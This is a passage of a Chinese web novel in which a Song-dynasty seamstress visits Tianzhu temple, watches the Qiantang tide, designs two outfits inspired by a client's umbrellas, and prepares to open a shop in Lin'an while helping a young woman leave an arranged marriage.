林秀水伸手取下包,整理身上的衣裙,“行,帮你问问啊,有没有给我的报酬?” “一文钱。” “真小气。” 林秀水知道陈九川在家,八月钱塘江发大潮,他的船运生意大多都钱塘江两岸往来的。 桑英最近忙得很,早米行最近所需的米相当多,而陈九川闲得很。 她敲了敲门,门没关严实,她推门进去,吓一跳,又退了两步出来,揉了揉眼睛,她晃了晃脑袋,最近太累出幻觉了。 林秀水又悄悄地将脑袋探进去,两人坐在那里齐刷刷地看她。 神了,还真没看错。 “你咋在这啊?”林秀水惊奇又疑惑。 张木生挠了挠脑袋,他清了清嗓子说:“川哥人太仗义了,他过来告诉我,学缝补在潜火队那就是走了岔路,压根不好使,还抢了别人的生意。” “像我眼下这样,即使腿暂时不大好使,手好使就该到水行里混关系去,叫他们以后给我们潜火七队送水送得快些,我一听是这个理啊,他说给我搭个关系呢。” “姐,真是对不起,”张木生感动地声泪俱下,“我怕是不能再学缝补了。” 他又替自己惋惜,“这行当到底少了一个不出世的人才 ” 陈九川默默无语,什么狗屁。 林秀水翻了个白眼,怪不得能长高,原来是爱抬举自己。 张木生又将他的缝补工具胡乱塞给陈九川,“哥,大恩无以为报,你拿着用吧。” “恩将仇报,”林秀水看不下去,出声道。 陈九川却坦然收下,面朝林秀水说:“我觉得自己才是那个缝补的人才。” “要不你教我吧。” 林秀水在这两张脸上打量,这种清新脱俗又有病的人,她居然能认识两个。 “这是丐帮的打狗棍吗?要你们两个传来传去的,练好了是好上乞儿行当行老去吗?” 张木生还在回味这句话,陈九川却说:“不要这么说自己。” “当狗也可以,但得用肉包子打我,”张木生一本正经地说。 林秀水和陈九川一起看他,发什么疯。 “我走,我走,”张木生哼一 声,他提起拐杖离开,二十日后等他能脱拐了,他又是一条能跑能跳的好狗,呸,是好汉! 院子里只剩下两人,林秀水要坐下来,陈九川坐到刚才张木生坐的凳子,将自己的让出来。 林秀水没在意,“我们谈个生意。” “你知道的,我很信任你。” 陈九川身子一僵,他拿起空荡荡的茶盏掩饰性喝了一口,“好好说话。” “哦,”林秀水笑,“我想打你。” 陈九川闻言倒很坦然,侧过脸说:“来吧。” 贱嗖嗖的,林秀水无言以对。 “你不是号称活地经,我们在临安花市桥那开了个铺子,需要人运送衣物,各色料子,一次来回的话是一贯六。” 陈九川也变得正经,“当然能送。” 其实这个价对于陈九川而言,不算很高,他们的船运比别人耗时短,送得快还稳,一次来回最少两贯多。 他只要略想一想,清晰的路线图便呈现在脑子里,用修长的手指在桌子上比划道:“内城里总共有三条河,分别是西河,小河跟大河,这条大河北接大运河,南通钱塘江,从天宗水门入城,到六部桥前就不能再往前,那是皇城。” “你们花市要走的这条水路,得先过钱塘江,跨浦桥,到茅山河过保安水门那块,”陈九川告诉她,“八月钱塘发大潮,水路不好走,尤其是衣物布料,会翻船的。” 林秀水微微蹙眉,按日子来说,进展得相当不顺利。 “愁什么?”陈九川说,“涨潮虽说耽误事情,可等你去观潮时,你就会发现,耽误就耽误吧,耽误的事情会以另一种东西来补上。” 陈九川很直白地邀请,“中秋后,八月十六日正是观潮的好日子,我们这到钱塘江的水路好走,一起去观潮?” 林秀水中秋不上工,连裁缝铺子也不开门,手里的活相当多,不过也不差这两日。 她倒没一口应下,先去问王月兰,王月兰则满口答应,“听闻钱塘江还有弄潮儿,我们可以过去瞧瞧。” “为什么不去,”桑英不解,“观潮是一年一度的盛事,你要不想坐船,我背你去。” 林秀水笑道:“你是什么?” 桑英则说:“我是根木头,哪里有用往哪里飘。” 小荷早听不下去,赶紧收拾自己的东西,她嘀嘀咕咕的,“看潮,看潮头。” 林秀水出门除去观潮,也想找找感觉,两套伞的衣裳还没有头绪,却没有想到,她此行倒是有了千头万绪。 两件衣裳来源于一句诗:山寺月中寻桂子,郡亭枕上看潮头。 夜里船抵达了天竺寺—— 作者有话说:请假真的很不好意思,本章除了红包补偿以外,还会开个小小的抽奖[求你了][求求你了][求求你了] 第82章 第 82 章 伞的新衣 别人中秋赏月吃家宴, 林秀水爬山去寺庙。 只因有个传说,说天竺寺每年中秋便会有从月宫中飘落的桂子,捡拾起来再栽种, 明年会长出桂花树。 可天竺有三寺,分为上中下,都在崇山峻岭里, 走一个半时辰才到上天竺寺,天色青黑,满目青山葱葱。 上山的道很陡,林秀水秉持着走都走了, 来都来了的心,跟小荷一块哭丧着脸走到了。 天竺寺香火很旺盛,供奉观音大士, 苏湖广三地的香客都会来进香,所以早中晚寺庙内有斋饭。 小荷爬山走道萎靡不振,一到吃斋饭,她一骨碌爬起来喊:“我想吃素蒸鸭,是鸭肉,肯定好吃。” 打菜的小和尚偷笑,给她盛了一盘素蒸鸭, 小荷高兴捧过盘子, 拿起筷子一夹傻了眼, 骗人的, 怎么是葫芦啊?她的鸭子呢? 到嘴的鸭子跑掉了,小荷举着筷子,她想哭。 林秀水则一听,什么梅粥、菊苗煎、假团圆燥子, 她的眼神在一个赛一个寡淡的菜上略过,桑英则嘀嘀咕咕,“来碗饭得了,我最近对米了解得相当多,我看这米肯定是中色白米,不会难吃到哪里去的。” 陈九川提着一壶桂花茶过来,他说:“这里好吃的只有两样,一是桂花茶,二是笋菜淘面。” 原因无他,天竺寺盛产桂花,又在山里,笋特别多,春笋,八月则有鞭笋,到冬日又有冬笋,斋饭里笋相关的素食格外多,诸如笋泼刀、笋辣羹、笋辣面、笋齑淘、笋粉素食等等。 其中笋菜淘面还可以,不过吃斋饭不要钱,但得上三炷香,香要两文一根,王月兰掏钱时道:“就说不管哪间寺庙,都做不了亏本生意,你瞅瞅那牌匾的金光,一个长生库够他们赚的了。” “真一个子也不想给他们。” 王月兰话是如此说,真到了夜里有供奉香烛的时候,她跑得比谁都快,跟着几个新认识的娘子,拿出一百二十文钱去上香点烛,无比虔诚地说:“我佛慈悲。” 她说完许了十几个愿,大大小小,林秀水听完,怪不得要先喊一句,原来是让菩萨有个准备。 “桑英,你许不许?”林秀水在殿外问桑英。 桑英绕着黄绿色的裙带,往台阶下走了两步,她左右摇头,“我没有什么可以许的。” 她面对煌煌灯火,许多佛像说:“我对眼下很满意。” 哪怕她在米行里,依旧没有太大的长进,仍旧是跟着两位娘子,挨家挨户送米,每一日都累得腿酸疼,月钱涨得也不多,但跟从前相比,她很知足。 “许什么都有点贪心,”桑英说,“索性也没有要许的。” 她笑眯眯地说:“省下一百二十文。” “我也没什么可许的,”林秀水哪怕站在佛像前,也照旧能语气坚定地说自己无所求。 她晃晃租来的灯笼,又问身边的陈九川,“你呢?” “有所求,”陈九川靠在柱子上,背着光,“不过不求菩萨。” “求菩萨的话,” 他顿了顿,“不如求你。” 林秀水不吃这一套,啧了声,“想学我手艺直说。” 桑英恍然大悟,绕到一边推推陈九川,“哥,你想学针线活啊?这么偏门。” “这事啊,那求菩萨确实没得用,你拜拜你的手吧,五大三粗的,这船运活计是不好干了哈,要不哥你给我一块送米去,赚的钱给我,苦给你吃。” “想累死我直说,”陈九川瞥了桑英一眼。 他被两人挤兑,又气又笑,还得跟在两人后头去捡桂花,此时提灯笼来捡桂花的人不少,一个个从身边过去。 寺庙有很多墙,他走在林秀水后方,靠墙那一边,右边有月光和悬挂的灯笼,红墙上有影影绰绰的人影,跟他走在一块。 陈九川侧过头,影子头上长飘带一晃一晃,他的手指微动,墙道一侧有许多桂花树,直到那股香气越来越浓郁,直到影子从墙上消失,林秀水在他身旁问:“你看什么呢?” 他抬起头,此时有佛殿的诵经声和木鱼声响,他忽而心乱。 “我,”陈九川掩饰,“看竹影。” 林秀水捋一把发髻上的鹅黄长飘带,顺着她的目光看墙上,只见竹影虚虚实实,随风飘摇,太过朦胧,光不大好。 “要找处月光好的地方瞧,”林秀水理理自己黄罗裙挂着的桂花香囊,她新捡的桂花,香气馥郁。 陈九川沉默,林秀水则兴冲冲地看起了墙影,过了好几弯,来捡桂花的人少了,月色正明,一堵木墙上有四排雕刻的字迹,笔走飞龙,是金粉描摹的。 月光照着旁边的桂花树,两三丛竹子,桂影和竹影打在字迹上,映射出点点浮光,一副好景致,林秀水驻足,她想起红娘子的那把六十四骨绿绢面的大伞。 那伞面上是飘逸的字迹,她一直在琢磨,如果要将这把伞做成衣裳,应当是什么模样,做什么颜色的?形制呢?纹样呢? 她却忽然从这墙影上,悟出一点衣道,这衣裳要沉稳,要厚重些,摒弃所有的纱、绫布料,被风吹起时不能轻飘飘的,能用的有罗、绢、绸。 林秀水盯着 墙影出神,影子随风而动,竹影细长,桂影宽大,重叠在字迹上,字不再单调,像素食那么寡味,尤其是描金折射出的光点缀得恰到好处。那么换衣而言,完全不用拓印全部字迹,竹影、桂影、字、金边、恰当的留白,虚影结合的美。 “我想到了!”她喊一声,吓得小荷手里的桂花枝一颤又一颤,“阿姐,你想出家了?” 王月兰一把盖住她的嘴巴,“我看你想挨打了。” “想到什么了?”桑英兜着一布袋的桂花,急匆匆跑过来。 陈九川则打起灯笼,走在前面说:“过了拐角处有一座凉亭,有石桌。” 林秀水准备充足,包里有纸笔,到石桌摊开纸就陷入自己的思绪里,拿起炭笔涂涂改改,最先有头绪的是下裙。 她原先想的是,伞面的褶子跟百褶裙很像,做绿绢百褶裙,将书法诗句藏在每一条褶子里,可眼下她觉得,完全不是这样的。 更好的应当是百迭裙,两边的素面更适合作画彩绘,且褶子可以打得更大一些,每一条都应当写上飞舞的诗句。 可画着画着,她又觉得,三裥裙的形制更能在表现字的稳和伞面开合的独特设计,不会跟打褶一样死板,三裥裙可以做出裙面和褶裥两种颜色的碰撞。 只不过做不好很容易显肚子和胯,穿起来很挑人,裙头要低,褶裥跟裙片不能缝得太多,走动间不会像被箍住,裙侧左右两边像鱼儿摆尾,林秀水要很顺滑的布料。 脑子里乱七八糟的思绪碰撞在一起,她打了个哈欠,听见旁边有人问:“饿了没?” 吓她一跳,她老实回:“不饿,困了。” 此时亭子里桑英打着瞌睡,小荷想如厕,王月兰带她先回去了,陈九川倒是精神奕奕,“那走吧,先送你们。” “画好了?”桑英迷迷糊糊地问。 林秀水打着哈欠回道:“没呢,哪有这么快。” 陈九川这回走在她的前面,忽然出声,“阿俏,抬头。” “抬头,”林秀水嘴里重复,跟着抬起脑袋,天上一轮明亮的圆月,两人站在月光地里。 没有错过这一轮月亮。 每一年都没有错过,在上林塘,在桑青镇,在西湖的天竺寺里。 林秀水想到很多年里,爹娘离去后,到时至今日,身边赏月的居然都是同一个人。 那么下一年呢? 她仰头看月亮,想的又不只是月亮。 在寺庙里林秀水睡不着,这里只有大通铺,大家胡乱合衣躺在一处,桂花味、香粉味、还有酸臭味混合着,随着呼噜声越打越响,那股味道变得愈发刺鼻,她睡得断断续续。 三更天的钟鼓一响,她悄悄爬了出去,整理自己的绿上襦,黄罗裙,系好裙带,打算找点水用帕子擦擦脸。 在寺庙里乱逛,看着满地细碎的桂花,沉闷的钟鼓声,飞檐翘角的屋檐,各种各样的佛像,和墙上、牌匾、柱子上描金的纹样,远处有木鱼子的咚咚声,诵经的声音时远时近。 林秀水走了好几间的寺庙,许许多多的细节在她脑子里,渐渐让绿绢布诗词伞有了身形,像是这古寺的沉静,又时而透露出的轻灵。 她走在古庙的道路上,打算放弃百迭裙,做三褶裥,不做抹胸,做上襦,用绿、白和织金、绘彩还有书法,不过怎么融合得好看,她还得细想。 下午要到钱塘江观潮,吃了早上的斋饭,又逛了逛,大家动身离开,带了昨夜月中捡的桂花。上山路难走,下山要顺一点,一个时辰差不多,再转道钱塘。 八月十五的月亮圆,八月十六的潮水盛,钱塘江秋涛到临安江岸一带都很适合观潮。 人多得跟水里的鱼拍打上岸一般,近处的江岸没有位置,几人被挤到台阶上,王月兰大喊:“我的发髻,都快从我头上掉下来了。 ” “潮水没来,我就要被夹扁了,”桑英将脑袋伸得鹅脖子一样长,从人群里挤出去,努力往江面瞧去。 小荷坐陈九川肩膀上,林秀水没来得及抱怨,第一波的江潮缓慢涌来,从很远的江面,如同一道狭窄的白线,到跟前才发觉是翻滚的浪潮。 此时浪不算猛烈,每年的弄潮儿赶紧到江面上,一个个纹身披发,拿着一大把油绿的清凉伞,或是一面彩旗。在众人的惊呼声里,一个跃身如同鱼一样钻到浪里,随着浪头翻滚,旗子和伞一上一下地翻腾,浪头已经狠狠击打在岸边,他们仍在跟浪潮搏斗。 王月兰嘶了声,看得目不转睛,“这不要命的,有这连命都能豁出去的架势,赚点其他钱多容易。” 不过到弄潮儿都上岸来了后,大家的心提到了嗓子眼,随即浪席卷着浪,一浪又一浪滚滚而来,白浪有滔天的架势,溅起许多丈高的浪潮,拍向无数人。 一时只听闻无数尖叫声,浪像暴雨般落下,哪怕林秀水站得已经很远,脸上都被溅了许多水珠,眼睛糊上了水,却仍努力睁开看磅礴的潮水,耳边听不到惊呼,只有浪如山崩地裂的声音。 真是浪如山峰,银山万叠。 哪怕许久后,林秀水也无法忘记观潮带给她的震撼,那种强烈的席卷一切的震撼,她又铭记着浪花的拍涌,湖面涌起来的波纹,飞溅时的弧度,白浪与黄水的交织。 她到家后做了一夜的梦,梦里都是这滚滚而来的浪头,又变成山水墨色,在油纸伞上呈现,逐渐变成小浪花晕染开来。 到了转日,她去裁缝铺里,正好跟金裁缝碰上。 “观潮把你吓到了?”金裁缝推开铺门,点点她乌青的眼底,“真吓到了?” “我怎么可能吓到,”林秀水矢口否认,她指指自己,“我已经参悟了那两把伞的真身。” 金裁缝嫌弃道:“你要去的不是天竺寺,我还以为你上哪个野寺庙里,看到妖孽了呢?” “老金,你别说神神鬼鬼的话,来瞧我的大作,”林秀水拿出两张卷起来的画纸,用桌子上的木质镇纸,压在画册两边。 金裁缝挂好一件红罗直袖衫,慢步走过来,没有抱有太大的兴趣,“我瞧瞧,你想出了什么名堂来。” “嘶,有点意思啊,”金裁缝的神情从平静,连眉头都整个挑了上去,看这最先的一副,是由绿绢诗词伞而来的。 形制很板正,完完全全的上襦和三裥裙,没有丝毫的改版,上襦是绸缎绿,领子和袖口则为白边,诗词做底,如果料子能实现画出来那种绿的清透,这件上襦靠颜色取胜。 跟下面的白罗三裥裙,很押韵。 妙的点在于,林秀水将裙子的素面设计为白日光透过来的墙影,竹影、桂影是绿的,用织金作为影子的打底点缀,墨色的诗词一长句一短句分布在裙子左右,并不突兀,乱中有序。深褶裥里为月色里的墙影书画,绿绢布做底,竹影、桂影全是不同层次的黑,水墨晕染,而用银织线来绣出飘逸的字迹。 金裁缝已经能想出,所用料子够好够顺滑的话,织工、画技都能配得上的话,那么这条裙子会呈现出动与静两种不同的美。 至于下面那一张画卷,裙子压根不按现有的形制来,剪裁的样式一层又一层,如同浪花翻涌,又像重峦叠嶂,只用黑白灰三色便过渡出水墨画的感觉,很飘飘然。 “你,”金裁缝打量林秀水,欲言又止,“这一天又新找了个师父?” 林秀水回答很果断,“对啊,一个是寺庙里的墙影大师,另一位则是千层浪师父。” “对我造成了相当深刻的影响。” “做衣根本不在于繁复,贪多贪足,而在于大道至简。” 金裁缝说:“你去当道姑吧。” “那不行,裁缝作少了我,相当于针没有了线。” 第83章 第 83 章 满池娇开业 近来多秋雨, 红娘子却舍不得撑她那两把好伞,细雨蒙蒙,她将伞裹在碧色长褙子里, 冒着雨来的。 阿云很有眼力见,先是叫她红娘子,又赶紧给递上一块白布巾子。 红娘子不擦脸, 她脸上涂了胭脂,一路低着头来的,抓着巾子擦后 脖颈,扬扬得意, “可亏这雨下得不大,不然衣裳都给打湿了。” 正在争论料子的林秀水和金裁缝,目光一致往她怀里的伞瞧去, 有伞舍不得伞淋雨,非得自己淋雨的,当真少见。 “娘子你来得正好,衣样画出来了,”林秀水把镇纸挪开,抽出纸来给红娘子瞧。 雨天铺子里人少,只有一对母女在看料子, 红娘子闻言先将伞横放在桌上, 双手接过来, 还没看便说:“应当差不到哪里去, 你们寻常的衣裳我瞧着也觉得不错。” 她话说完,目光黏在画上,握着画样往外疾走了几步,找光照最好的地方凝神仔细瞧, 跟她想的中规中矩全然不同。 “这,这衣裳真能做出来?”红娘子的手摩挲过那纸上的水墨裙,转过脑袋,语气惊疑。 林秀水实话实说:“得看料子,像是诗词下裙可以用素罗,可今年临安的素罗手感不大好,心思全用在花罗上了,要换用吴罗试试。” 连裁缝作都不大进临安的素罗了,很多都是用残破的丝线织出来的,一摸一捻手里能察觉到细小的疙瘩,或是以次充好,好坏掺一掺,叫人防不胜防。 倒是花罗的做工越来越精巧,名目繁多,什么云罗、结罗、孔雀罗、满园春罗、宝花罗等等,价钱不菲。 衣裳是想出来了,布料和做工跟不上,想也白想。红娘子只觉得这两套衣裳叫她瞧得眼前一亮,能做出来穿上不知多好看,她实在喜欢。可她也紧咬着价钱,“十八贯不能再多了,我手里的银钱不趁手,要再往上加钱的话,我宁肯你拿白绢布或是轻纱料子来糊弄我。” 她之前确实能拿得出来,可家里一时紧着用钱,她除了早就给林秀水的定钱外,手里的余钱全花出去了。 一条三裥裙的话,用料四幅,大概是两匹多的料子,一匹苏州来的素罗是三贯二钱,加上织金、刺绣、书法,做出来的加钱在八贯左右,仅仅只是一条裙子,不包括上襦和另外一套纱制的水墨裙。 这价钱林秀水自己都觉得贵,她给自己做新衣时,排料是恨不得边边角角全能用上,一点布也不放过。 但叫她十八贯做出两套整衣,她只能用相对不好的料子,一省再省,相当于辛苦许多日做顿大宴,最后一看上的菜,小葱拌豆腐,白用功。 林秀水想想自己从前是怎么发家的,除去缝补,她靠改点衣裳,从刘牙嫂的估衣铺里头买点旧衣,裁裁改改,让大家能穿上实惠的衣裳。 哪怕到今日,也不能忘了老本行。 “十八贯做不出两套的,”林秀水没有很委婉,“不过有其他的法子,那就是做其中一套,另一套的话,可以试试用旧衣改。” “旧衣改?”红娘子不敢相信自己听见了什么。 金裁缝虽然不解,可她是绝对站在林秀水这一边的。 林秀水比以前有魄力的多,她敢讲,“十八贯只做诗词裙整套的,娘子你人腰细,且下身不算胖,做这条用好料子,放量放得多些,穿上去一定会出彩。” “那条水墨裙的整套衣裳,你只要去家里找条白纱裙子,黑色褙子,我能用一贯的价钱,给你做出来。” “你不满意不要钱。” 林秀水夸下海口,面色不改,语气笃定,叫红娘子心里动摇,一时又难以取舍。 “今日雨不大,可细雨纷纷,难免扰人,不如等明日雨停了,娘子想清楚了,再来告诉我,”林秀水将画稿重新塞回到她手里。 红娘子确实犹豫,接过林秀水的伞,回家再想想,看还能不能找到合适的白纱裙。 “你呀你,本来能多赚的,又想哪什么名堂,”金裁缝等红娘子走远了,才压低声音问。 林秀水摊手,“干回老本行了呗,能省就给人省点钱。” “旧衣做新裙嘛” 她可以做的,她一定会做。 金裁缝是拦不住她的,林秀水总有不知道哪里来的满腔赤忱,面对没有太多银钱的娘子,她总是给人家以最省钱和料子的方式,来满足别人想穿新衣的想法。 没过晌午,红娘子又来了,她一手举伞,一手提着个大包袱,气喘吁吁的,放到桌子上扯开绳结,散落出好几条白裙黑衣。 “这是我翻找了全部的衣裳才找到的,你瞧瞧能不能用。” 林秀水上手翻看这一堆白裙,找出一条散褶的白纱裙,这条裙子虽然散褶,裙幅却很宽大,又是白纱做的,其他很多为硬挺的绢布,或是相对皱巴巴的苎麻白裙。 黑色的中长褙子除了料子尚可,红娘子穿上也合身外,没有丝毫的亮点。 林秀水却说:“可以改。” 如果说做新衣是量身打造,基本按照她所绘制的图样来,那么从旧衣上更改,相当于是如何给平平无奇的衣裳增添亮色。 林秀水自从观潮回来后,有了万千做衣裳的思绪,先改手边除了黑色连花纹都没有的褙子,褙子的袖子在靠肘弯处,有拼缝起来的直袖。 她拿起一把剪子,沿着边缘处将线拆下来,手边有她准备好的黑纱、黑灰两色晕染的纱,以及偏雾蒙蒙的灰纱。 裁剪成大袖的宽度,她想象着潮水涌来的层层叠叠,在单一大袖的形制上,将袖口做出重叠卷曲的浪花,用黑、黑灰再过渡到灰纱。 原本窄而紧的袖子,变成了宽阔且飘逸的大袖,在衣襟处则弃用了之前的黑色,用白色蚕丝线挑纱缝到领抹处,变成若隐若现的白线,犹如潮水来临时的感觉。 白纱裙新熨了褶,林秀水不在白裙上新作材质,而是依据重叠的浪花,另裁了很多不规则的裙片,每一片的形状不相同,颜色也由深到浅。 期间阿云过来收了好几次桌面,瞟到这些弯弯曲曲的裙片,觉得有些奇怪和纳闷,毕竟这样瞧上去当真不算好看。 红娘子初看也是抱有如此的心情,微微皱眉,明明画卷上的水墨裙子层次分明,如山间雾色,书画中研磨掉下来的一滴水晕开的墨,跟这种一层又一层卷曲的裙片,压根不像同种东西,很是普通。 “就这样穿?”红娘子如此问,她的手微动,脚下却定在原地。 林秀水也并没有过多解释,她先让红娘子穿好衣裳和白裙子,将最长的黑色泼墨卷曲裙片围在她的腰间,裙片蜿蜒往下,此时裙子已然有了点韵味。 直到一片片裙片系好,原先很平平无奇的白纱裙子,在深浅不一的纱片和不规则的形制裹叠,居然没有透露出臃肿,相反的很轻盈,整条裙子像翻滚那一瞬的浪花,那右边一侧没被包裹住的则为白浪。 红娘子吃惊地捂住嘴,她试着往前走了走,那些裙片像流淌的墨色,微微晃动,好似真的像水墨一般,每一寸都像活的,有流动间的美感。 而最让她惊喜的是,这条裙子可以随意搭裙片,并不需要按着由长到短来,只围最长的那条黑白晕染的裙片,那从腰间一层又一层旋绕到腿弯处,便如同很久之前的曲裾。 绕上最大的灰墨纱片和最小的纱片,边缘弯弯曲曲,绑在左侧腰间,那斜裁的弧度从腰间垂下来,前短后长,有种一波未平,另一波将至的灵动感。 不管如何搭,都能让这条普通的白纱裙子有不同的感觉,或简洁,或流淌,或沉寂,只用这几条裙片。 红娘子简直欢喜地要发疯,不停地点头,恨不得到大街上提着裙摆来来回回地走,没有人能懂她那种蠢蠢欲动,即将要蹦出来的心。 金裁缝也不得不感慨,“我算是有些懂了,你说的大道至简。” 颜色普通,裙子平平无奇,裙片除了古 怪弯旋的形状外,颜色也并不出挑,可如此简单的东西,搭上却有意想不到的效果。 林秀水其实还不大满意,如果有更多的好料子,她觉得更能将浪花和水墨的意象表达好,仍旧需要不停地努力。 她没有红娘子那般高兴,想着应当有更好的表现,记下短板,时常鞭策自己。 也趁热打铁,先将那条诗词裙做出来,这条难度很大,形制不是重点,重要的是如何书写诗词却不会晕染开来,桂影和竹影用刺绣表现虚实,织金在哪里点缀会更加出彩,褶子部分的织银线又当如何。 她一共请了十位娘子帮忙一块做,彩绘、刺绣、织金、绣银线,以十日为期限,不停更改,才做出这条很重工的三裥诗词裙。 不是纱制的轻盈,剪裁利落,却有极好的垂坠感,尤其是素白裙面上诗词的绘制,飞舞大气,绿色细长的竹影和桂影,织金恰到好处的点缀,这条裙子初让红娘子大叫出声。 穿上两边的绿色深褶更是行走间飘荡,里面的诗词和影子也一块飘,站在那里,风一吹,裙摆晃动如同月色的墙影。 而且红娘子后来才知道,为何一定要用白色罗布来做这条裙子。她每次穿出门,光影和月色都会让裙子染上各种不同的光彩,连同上面的诗词图案都可以品出不同的味道,或站或坐,起落别有风情。 即使十几年后拿出来,都是丝毫不会逊色的裙子。 红娘子激动地浑身发颤,她嘴唇颤抖地问:“这裙子还会给其他人做吗?” 林秀水摇头:“不会,娘子你喜欢的伞只有一把,那么它也只会有一条。” 有些衣裳并不需要被很多人喜爱,它被做出来的初衷,是来源于一个人的喜欢,那么它只要获得那人的喜欢便足以。 这就是林秀水做衣的准则,她要对得起每一个来做衣的人,不辜负每一件从她手里诞生的衣物。 红娘子闻言愣了许久,她才说:“我很喜欢,我在一日,它就会跟我一日。” “你喜欢最要紧。” 这两条裙子给林秀水带来了很深远的影响,让她做出了风靡许久的另一条裙子。 其中也有一条是让林秀水在水记全衣,推出以旧改新衣的活动。 她很认真地跟金裁缝说:“做新衣太贵了,秋冬两季的衣物又比寻常更贵,大家花钱很吃力,做起来并不轻松,我希望衣物在满足蔽体的时候,能够让大家穿得体面。” 其实就是做这两条裙子的心境不同引发的,有钱能上各种重工,没钱只能拼拼凑凑,她能做华丽的衣裳,也可以做普通的好衣,哪怕是用普通的旧衣。 金裁缝没法反驳,她语重心长地说:“可是会亏本。” “没事,我能赚钱,这次我能赚到不少钱。” 林秀水在裁缝作里上工,她就奔着抢钱去的,这就是她的底气来源。 十几日里,她相继提出了许多好意见,更改了很多的问题,她坐在满池娇的屋子最上头,她这次不需要顾娘子坐镇了,大家肯听她说话。 “荷花瓣抹胸,”她一拿起做好的抹胸,手触着内里,她说,“一面做丝绸内里的,一面做细布内衬的,边角处理得不够好,到时候一低头,一含胸会很扎很难受,不信你自己穿上试试,拿回去重新改。” “这批临安新来的素罗虽说织工差劲,但是做成油帽和帷帽可以,避开明显有问题的地方。” 没有人呛声,被指出问题的人脸通红,赶紧点头说:“林管事,我会改的。” 林秀水又拿出专门请人设计的莲花布贴,一簇莲池小景,左边莲蓬右边荷叶,中间一枝出头的莲花。 这就是她们满池娇的标识,会挂在每一件出售的衣物上,让大家认准标识。 在临安城满池娇铺子开业前,她还去找了张莲荷,这个曾经说想做花神的小娘子。 张莲荷的家离裁缝作很近,过两条巷子,在右手处拐角处。 她敲开门时,张莲荷在院子里发呆,出来开门看见是林秀水时,不可思议地睁大眼睛,“林娘子,不是,阿俏你怎么来了?” 林秀水先是放下东西,真诚道谢,“我们做莲裙已经做到临安府去了,真的应当谢谢你,当初要不是你来寻我,我也不会做出后来的裙子。” 张莲荷赶紧摇头,两人坐在院子里,相互说了下近况,林秀水才表明来意,“临安铺子那缺一个卖莲裙的人,去那一个月的月钱有五贯,另有五日可以回镇里两日,我想你这么喜欢莲裙,如果你想去的话,这个位置会给你留着。” “啊,我吗?”张莲荷完全不敢相信自己的耳朵,用手指着自己的脸,“我?请我去?” 她完全不敢相信,毕竟她已经十六岁了,在大家或成婚生子,或在各行各当上工,她却一事无成,只能当家里的米虫,接受家里给她定亲,嫁给一个完全不喜欢的人。 她已经同家里吵了一架又一架,每次压迫她的理由都是,你要不听,你就从这个家里给我滚出去,钱一分不会给你。 对于她这种所有一切开销来源于家里,成婚才会有嫁妆,以后又不得不依附另一个男人的女子来说,她每次都被这句话吓得像只鹌鹑,等着和别人做一对鸳鸯,左右都是待宰的。 “我不知道,我,”张莲荷苦笑,她又走不出去。 “你好好想想,会给你一直留着。” 张莲荷自打她走后,相当心神不宁,她定亲在即,嫁的人她连见都没有见过一面,她辗转反侧,她心里一千个一万个不愿意,可她又很害怕。 想了好些日,她也不敢迈出这一步,直到她再一次跟爹娘吵得不可开交,她爹勃然大怒,“我好吃好喝供你长这么大,反了天了,你有本事你就给我滚出去,别再花你爹娘老子一个钱。” “滚就滚!” 回应他的不再是沉默掉眼泪的张莲荷,而是破罐子破摔,颤抖着喊得比他声音还要大的张莲荷。 她头也不回地走了,一边走一边大哭,明明这是她的家啊,说是遮风挡雨,实则一直在刮风下雨。 张莲荷哭得双眼通红,她当真没地可以去,只能找到林秀水期期艾艾地问:“还收人吗?” “我,我,”她小声地说,“好像没有家可以回去了。” “当然收,只是你看起来不大好,”林秀水担忧地看她。 张莲荷抽抽噎噎地说完,林秀水却说:“没关系的,我们可以帮你。” 她当然不会做让张莲荷立即去临安,让家里人担忧好找的戏码,最后报官很麻烦,钱能解决很多东西,尤其是虚情假意。 最后是裁缝作这边出面,跟张家商谈,那边大骂,两边一度商谈不下去,最后放狠话叫张莲荷偿还养她的一百贯银钱,给出来就让她走,要立契。 张莲荷还有两个弟弟。 她无声地笑了笑说:“我可以还。” 商量 的结果是每个月可以先还三贯。 几天时间里解决这档子破事,张莲荷哭得泪都干了,她坐在去往临安府的船上,心里惶惶,面上没有泪水。 她去往一条陌生的道路。 可她并不知道以后,随着满池娇在临安府的开业,她为自己挣到了新的人生。 她忽然懂了那首诗,江南可采莲,莲叶何田田,鱼西江南可采莲,莲叶何田田,鱼戏莲叶间。鱼戏莲叶东,鱼戏莲叶西,鱼戏莲叶南,鱼戏莲叶北。 张莲荷想,不是莲花荷叶,她是小鱼—— 作者有话说: 第84章 第 84 章 一一风荷举 八月钱塘江潮过后, 九月江面风平浪静。 只不过这艘去往临安府的船舱里,一帮子人坐立难安,除去家事缠身, 本身忐忑的张莲荷外,其余人则是从桑青镇要去临安的新铺子里,难免惊慌, 唉声叹气。 明明去前说临安千般好,眼下像是要进大监牢。 尤其外面下着细雨,雨丝像蜘蛛网,黏黏的, 湿湿的,这样的天里,心绪更是跟蛛网一般。 穿暗红牡丹纹衫子的中年娘子, 取下腰间的白布巾,擦擦鬓角根本没有的汗,她靠在木墙上,朝着林秀水说:“林管事,我心里咋那么慌呢?要是赚不到钱,可怎么好跟顾家交代,皇城根底下的人挑剔得很。” “谁说不是呢, 那里的日子跟我们镇上过得可不一样, 我们穿绿绢蓝布, 可里头光路上随便走过的, 大多穿青绸红绫,掉下块牌匾砸到人,家里多半是当官的,”说话是一个二十出头的娘子, 会说一口临安话,她将手搭在莲花纹绸裙上,“我一想想,好几夜没睡好,我又为了体面,穿条从前嫁人时压箱底做的绸裙,简直是愁上加愁。” 坐在船舱最角落的张莲荷,怀里搂抱着个大包袱,她没开口,低垂脑袋听大家你一言我一语的。 林秀水穿浅蓝水绸的上襦,一条桃红素罗的下裙,站在一群年纪比她大的娘子里,显得有些稚嫩,面色从容很多。 “这到了临安的地界,该入乡随俗的,”林秀水很清楚大家的担忧,她没有半点愁容,相反笑问道,“不知道大家有没有听过临安的一句俗语?” “难不成是东门菜、西门水、南门柴、北门米?”坐右边窗子处的娘子抢答,“这是想叫我们多将心思花在认路上,对不对?” 那会说临安话的娘子也跟着道:“说不准是百官门外鱼担儿,坝子门外丝篮儿,正阳门外跑马儿,螺蛳门外盐担儿,这才顺口。” 越说越偏,林秀水摇摇头,“有句话叫欲得富,赶着行在卖酒醋。” 行在指临安,临安又称行在所,酒与醋是几百多个行当里,最为赚钱的两个行当之一。 其他人摸不着头脑,不清楚她的意思,卖酒她们沾不上边,难不成让她们去吃醋? 